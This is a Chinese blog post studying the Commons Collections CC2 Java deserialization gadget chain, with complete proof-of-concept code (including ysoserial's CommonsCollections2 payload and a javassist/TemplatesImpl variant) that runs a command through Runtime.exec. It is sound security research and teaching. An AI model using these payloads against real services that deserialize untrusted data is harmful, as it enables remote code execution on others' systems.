zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    Apache Commons Collections2反序列化研究

    环境准备

    • JDK 1.7
    • Commons Collections 4.0
    • javassit

    前置知识

    PriorityQueue()           
    	使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
    PriorityQueue(int initialCapacity)
    	使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
    

    常见的方法:

    add(E e)           			将指定的元素插入此优先级队列
    clear()            			从此优先级队列中移除所有元素。
    comparator()       			返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
    contains(Object o)          如果此队列包含指定的元素,则返回 true。
    iterator()           		返回在此队列中的元素上进行迭代的迭代器。
    offer(E e)           		将指定的元素插入此优先级队列
    peek()           			获取但不移除此队列的头;如果此队列为空,则返回 null。
    poll()           			获取并移除此队列的头,如果此队列为空,则返回 null。
    remove(Object o)           	从此队列中移除指定元素的单个实例(如果存在)。
    size()           			返回此 collection 中的元素数。
    toArray()          			返回一个包含此队列所有元素的数组。
    

    getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。返回的是一个field对象

    field 常用的方法

    set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值
    

    TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

    查看一下该类的compare方法,compare方法会去调用transformertransform方法,这不就是回到了cc1的反序列化链了嘛。

    漏洞分析

    还是先看调用链

    	Gadget chain:
    		ObjectInputStream.readObject()
    			PriorityQueue.readObject()
    				...
    					TransformingComparator.compare()
    						InvokerTransformer.transform()
    							Method.invoke()
    								Runtime.exec()
    

    可以看到后面3个链和cc1是一样的。那我们只分析前半段就好了。

    首先来看PriorityQueue#readObject(),这里的queue[i]的值是由readObject得到的,也就是说在writeObject处写入了对应的内容:

    也就是说我们可以通过反射来设置queue[i]的值来达到控制queue[i]内容的目的。

    readobject中又调用了heapify方法,这里的queue[i]是我们可控的。heapify方法中又调用了siftDown方法,

    siftdown中的的x是我们可控的,跟入第一个siftDownUsingComparator:

    comparator.compare(x, (E) c) 这里的x是我们可控的

    cc2的gadget中使用了TransformingComparator#compare来触发后续链,看一下这个方法,可以发现,这里对this.transformer调用了transform方法,如果这个this.transformer可控的话,就可以触发cc1中的后半段链。

    package ysoserial.payloads;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    public class TestCC2 {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, new Object[]{"calc"})});
            TransformingComparator comparator = new TransformingComparator(chain);
            PriorityQueue queue = new PriorityQueue(1);
            queue.add(1);
            queue.add(2);
            Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取PriorityQueue类的comparator字段
            field.setAccessible(true);
            field.set(queue,comparator);//queue的comparator字段值为comparator
            try{
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
                outputStream.writeObject(queue);
                outputStream.close();
                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
                inputStream.readObject();
            }catch(Exception e){
                e.printStackTrace();
            }
        }
    }
    

    关于这儿要使用add添加2个值进去,目的是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中

    而add方法中调用了offer方法


    offer中又调用了siftup方法



    这里需要保证comparator的值为null,才能够正常的添加元素进queue,如果我们在add之前使comparator为我们构造好的TransformingComparator,就会报这么一个错误:

    回到CC2的gadget的TemplatesImpl类,在newTransformer方法中调用了getTransletInstance方法

    getTransletInstance方法中重点的是圈起来的两行代码

    首先先跟进第一行代码中的defineTransletClasses方法,这里通过loader.defineClass的方式将bytecodes还原为Class,


    接着在外面又调用了_class[_transletIndex].newInstance方法实例化还原的Class,也就是说,我们可以通过TemplatesImpl#newTransformer方法来执行恶意类

    import javassist.*;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import java.lang.ClassLoader;
    import java.lang.reflect.Field;
    public class TestCC2 {
        public static void createPseson() throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
    // 创建 static 代码块,并插入代码
            cc.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            cc.setName(randomClassName);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    // 写入.class 文件
            byte[] classBytes = cc.toBytecode();
            byte[][] targetByteCodes = new byte[][]{classBytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setFieldValue(templates, "_bytecodes", targetByteCodes);
    // 进入 defineTransletClasses() 方法需要的条件
            setFieldValue(templates, "_name", "name" + System.nanoTime());
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
            templates.newTransformer();
        }
        public static void main(String[] args) {
            try {
                createPseson();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = getField(obj.getClass(), fieldName);
            field.set(obj, value);
        }
        public static Field getField(final Class<?> clazz, final String fieldName) {
            Field field = null;
            try {
                field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
            }
            catch (NoSuchFieldException ex) {
                if (clazz.getSuperclass() != null)
                    field = getField(clazz.getSuperclass(), fieldName);
            }
            return field;
        }
    }
    
    

    最后我理解的gadget链

    ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
    PriorityQueue.siftDown()
    PriorityQueue.siftDownUsingComparator()
    TransformingComparator.compare()
    InvokerTransformer.transform()
    Method.invoke()
    TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
    TemplatesImpl.defineTransletClasses
    newInstance()
    Runtime.exec()
    

    yso中cc2的gadget链

    package ysoserial.payloads;
    
    import java.util.PriorityQueue;
    import java.util.Queue;
    
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.util.Gadgets;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    
    
    /*
    	Gadget chain:
    		ObjectInputStream.readObject()
    			PriorityQueue.readObject()
    				...
    					TransformingComparator.compare()
    						InvokerTransformer.transform()
    							Method.invoke()
    								Runtime.exec()
     */
    
    @SuppressWarnings({ "rawtypes", "unchecked" })
    @Dependencies({ "org.apache.commons:commons-collections4:4.0" })
    @Authors({ Authors.FROHOFF })
    public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
    
    	public Queue<Object> getObject(final String command) throws Exception {
    		final Object templates = Gadgets.createTemplatesImpl(command);
    		// mock method name until armed
    		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    
    		// create queue with numbers and basic comparator
    		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    		// stub data for replacement later
    		queue.add(1);
    		queue.add(1);
    
    		// switch method called by comparator
    		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    
    		// switch contents of queue
    		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    		queueArray[0] = templates;
    		queueArray[1] = 1;
    
    		return queue;
    	}
    
    	public static void main(final String[] args) throws Exception {
    		PayloadRunner.run(CommonsCollections2.class, args);
    	}
    
    }
    
    

    其他大哥的poc

    package ysoserial.payloads;
    
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    
    public class TestCC2test {
        public static void main(String[] args) throws Exception {
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
            ClassPool classPool=ClassPool.getDefault();//返回默认的类池
            classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
            CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
            payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建一个空的类初始化,设置构造函数主体为runtime
    
            byte[] bytes=payload.toBytecode();//转换为byte数组
    
            Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
            Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
            field.setAccessible(true);//暴力反射
            field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
    
            Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
            field1.setAccessible(true);//暴力反射
            field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
    
            InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
            TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
            PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
            queue.add(1);//添加数字1插入此优先级队列
            queue.add(1);//添加数字1插入此优先级队列
    
            Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
            field2.setAccessible(true);//暴力反射
            field2.set(queue,comparator);//设置queue的comparator字段值为comparator
    
            Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
            field3.setAccessible(true);//暴力反射
            field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            outputStream.writeObject(queue);
            outputStream.close();
    
            ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
            inputStream.readObject();
    
        }
    }
    
    

    参考链接

  • 相关阅读:
    macOS下iTerm2+zsh+oh-my-zsh+powerlevel10k打造最强终端
    个别服务器通过公网登录MySQL数据库慢
    Linux永久添加静态路由
    mtr网络工具常用命令
    Fping常用的网络连通性测试技巧
    Linux 7修改网卡名称后配置文件中的默认网关不生效
    Mac TimeMachine备份数据到自建NAS(通过samba共享)
    Mac iTerm2使用lrzsz
    SSH登录服务器慢
    Linux服务器惨遭挖矿
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/14239789.html
Copyright © 2011-2022 走看看